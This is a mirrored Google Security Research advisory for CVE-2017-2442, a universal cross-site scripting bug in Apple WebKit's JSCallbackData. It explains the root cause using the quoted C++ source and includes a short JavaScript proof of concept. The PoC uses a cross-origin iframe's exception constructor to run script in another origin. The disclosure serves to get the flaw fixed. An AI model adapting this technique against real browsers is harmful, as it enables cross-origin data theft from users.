Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:141959
HistoryApr 09, 2017 - 12:00 a.m.

Apple WebKit JSCallbackData UXSS

2017-04-0900:00:00
Google Security Research
packetstormsecurity.com
39

0.031 Low

EPSS

Percentile

90.0%

` Apple Webkit: UXSS with JSCallbackData   
  
CVE-2017-2442  
  
  
Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.  
  
class JSCallbackDataStrong : public JSCallbackData {  
public:  
JSCallbackDataStrong(JSC::JSObject* callback, void*)  
: m_callback(callback->globalObject()->vm(), callback)  
{  
}  
  
JSC::JSObject* callback() { return m_callback.get(); }  
JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }  
  
JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)  
{  
return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);  
}  
  
private:  
JSC::Strong<JSC::JSObject> m_callback;  
};  
  
JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)  
{  
ASSERT(callback);  
  
auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1)  
ASSERT(globalObject);  
  
ExecState* exec = globalObject->globalExec();  
JSValue function;  
CallData callData;  
CallType callType = CallType::None;  
  
if (method != CallbackType::Object) {  
function = callback;  
callType = callback->methodTable()->getCallData(callback, callData);  
}  
if (callType == CallType::None) {  
if (method == CallbackType::Function) {  
returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2)  
return JSValue();  
}  
...  
}  
...  
}  
  
But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.  
  
PoC:  
  
"use strict";  
  
let f = document.body.appendChild(document.createElement("iframe"));  
f.onload = () => {  
f.onload = null;  
  
try {  
let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);  
iterator.nextNode();  
} catch (e) {  
e.constructor.constructor("alert(location)")();  
}  
};  
  
f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`